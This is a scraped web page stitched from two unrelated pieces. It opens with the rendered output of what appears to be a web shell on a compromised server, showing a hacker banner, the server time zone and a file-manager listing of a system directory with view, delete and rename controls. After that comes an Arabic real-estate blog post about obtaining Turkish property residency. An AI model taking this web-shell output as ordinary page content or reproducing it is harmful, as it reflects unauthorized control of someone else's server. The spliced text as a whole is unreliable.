Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-06 16:15:03
curdir: / / usr / lib / .build-id / d3 / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 13:18:59 0755
.. 4096 2026-02-18 14:39:34 0755
0f38ee1e5878180da99f79fb8370cedbe75dad 12064 2025-12-08 12:43:19 0755
2b44cc83cbd4fb5b3281045bb52edde78faa13 12168 2023-10-14 21:46:13 0755
46e307a9912210212914c6ee0d4c4e0f4a822d 15856 2025-04-01 16:15:58 0755
564fdb2563b05dfa100b55bdc0fd2df8b2664a 1970-01-01 03:00:00 0
58733159300e178ae73140c797315ff5c1c73e 12072 2025-12-08 12:43:19 0755
9ab0ac17b93b09f1596fe3dbe82f3e33fbe6bc 112088 2022-10-08 16:13:53 0755
c449022ac6989759aba192706557a8b9bbe205 37536 2025-08-26 12:47:26 0755
d2f25df46e3674c57f729b75b98f99c30e9cd4 25712 2020-05-06 17:26:35 0755
d5703fd91d47bdf198f3e0fadfce54dae89660 12064 2025-12-08 12:43:19 0755
e82f3753e2a89f4db040052342f61d63b46f30 1970-01-01 03:00:00 0
f5bf0e67fb7aabd5d1a4e832b1df77acaaabbf 434432 2024-08-13 22:46:14 0755
fcaab83cc1bb1014f4810cc355e2e06125b6dd 26909528 2020-03-20 22:32:32 0755
مجموعة كريم - الإقامة العقارية في تركيا

الإقامة العقارية في تركيا

Blog Details

الإقامة العقارية في تركيا

بعد أن شهد السوق العقاري في تركيا إقبالا كبيرا من قبل المستثمرين الأجانب والباحثين عن إنشاء حياة جديدة في وطن جديد خلال السنوات الأخيرة، وبعد ازدياد شراء العقارات والشقق السكنية والاستثمار بها بشكل كبير، قامت الحكومة التركية على منح المستثمرين والراغبين في امتلاك منزل في تركيا حق الحصول على الإقامة العقارية في تركيا.

 

الإقامة العقارية في تركيا هي وثيقة تؤخذ من دائرة الهجرة في تركيا، وتسمح الإقامة العقارية في تركيا لصاحبها أن يتمتع بحقوق كاملة، بداية من التعليم إلى الطبابة والمعيشة وصولا إلى ممارسة مهنته بشكل كامل وقانوني، وتتصف هذه الإقامة بكونها مؤقتة حالها كحال باقي الإقامات، وتحتاج إلى التجديد السنوي، ويتم منح هذه الإقامة للأشخاص الراغبين في امتلاك منزل في تركيا والاستقرار في تركيا، كما يحق للزوجة ولأفراد العائلة من الأبناء دون سن 18 سنة، الحصول على الإقامة العقارية في تركيا.

 

ما هي مميزات الحصول على الإقامة العقارية في تركيا؟

  • الإقامة القانونية

من مزايا الإقامة العقارية في تركيا أنها تسمح لحاملها الإقامة بشكل قانوني على الأراضي التركية، وممارسة حياته بشكل طبيعي.

  • ادراج العائلة أيضا

تمتع عائلة صاحب العقار من الزوجة والأولاد بشكل عام دون سن 18 سنة بحقوق الإقامة العقارية في تركيا.

  • السهولة في التعامل

يتمتع حامل الإقامة العقارية في تركيا بسهولة كبيرة في إنهاء معاملاته في الدوائر الحكومية والمشافي ودائرة الهجرة.

  • الحصول على الخدمات التعليمية

الإقامة العقارية في تركيا تسمح لحاملها بالحصول على كافة الخدمات التعليمية في المدارس والجامعات التركية.

  • الطبابة في المستشفيات التركية

تسمح الإقامة العقارية في تركيا لحاملها أن يستفيد بشكل مجاني أو بخصومات كبيرة من مميزات الصحة في تركيا من خلال الطبابة في المستشفيات التركية.

  • إمكانية الحصول على الإقامة الدائمة

بعد 8 سنوات من الإقامة العقارية في تركيا، يتمكن حامل الإقامة العقارية في تركيا أن يحصل على الإقامة الدائمة في تركيا.

  • إمكانية الحصول على الجنسية التركية

تمكن الإقامة العقارية حاملها على إمكانية التقدم بطلب الحصول على الجنسية التركية في حال وصول قيمة العقارات إلى 400 ألف دولار، ويشترط أن يتم تحويل هذا المبلغ من خارج تركيا.

 

ما هي إجراءات الإقامة العقارية في تركيا؟

  • شراء عقار واحد أو عدة عقارات في إحدى الولايات التركية، والحصول على وثيقة الطابو.
  • حجز موعد من الإنترنت عبر موقع دائرة الهجرة الإلكتروني من أجل الحصول على الإقامة العقارية في تركيا.
  • تحضير كافة الوثائق والأوراق اللازمة من أجل الحصول على الإقامة العقارية في تركيا.
  • الحضور للمقابلة في دائرة الهجرة بشكل شخصي أو بموجب الوكالة الرسمية للوكيل.
  • تسليم الوثائق والأوراق المطلوبة للموظف المسؤول.
  • دفع الرسوم المفروضة (تتعلق رسوم الإقامة العقارية في تركيا على قيمة العقار المراد شراؤه في تركيا، حيث تبلغ رسوم التملك العقاري في تركيا نسبة 9.7% تقريبا من سعر العقار الكلي).
  • الانتظار إلى حين أن يتم الموافقة على منحك الإقامة العقارية في تركيا.
  • استلام بطاقة الإقامة العقارية في تركيا من خلال إحدى وسائل البريد.

 

ما هي الأوراق المطلوبة للإقامة العقارية في تركيا؟

  • ورقة تقديم الطلب للإقامة العقارية التي تم طلبها من الموقع الإلكتروني لدائرة الهجرة.
  • جواز سفر ساري المفعول لمدة لا تقل عن ستة أشهر.
  • فيزا عليها ختم الدخول إلى الأراضي التركية في حال كنت من الدول التي تحتاج إلى فيزا من أجل الدخول إلى تركيا.
  • ورقة تأمين طبي.
  • دفتر العائلة مترجم إلى اللغة التركية من مترجم محلف، ومصدق من مكاتب النوتر (كاتب العدل).
  • وثيقة الطابو التي تم تسجيل العقار باسم صاحبها.
  • 4 صور شخصية بيومترية.
  • وجود دخل شهري ثابت يبدأ من 500 دولار شهريا.

 

 

ما هي مدة الإقامة العقارية في تركيا؟

عادة ما تكون الإقامة العقارية في تركيا صالحة لمدة عام واحد أو عامين كحد أقصى، ولكن الإقامة العقارية في تركيا قابلة للتجديد، وتتم عملية التجديد بسهولة كبيرة مقارنة مع باقي الإقامات الأخرى في تركيا، إذ يكفي أن يكون العقار مسجلا في دائرة الطابو باسم صاحب العقار يتم تجديد الإقامة بموجبها.

 

اقرأ أيضا:

الإقامات في تركيا

E devlet أو نظام الحكومة الإلكتروني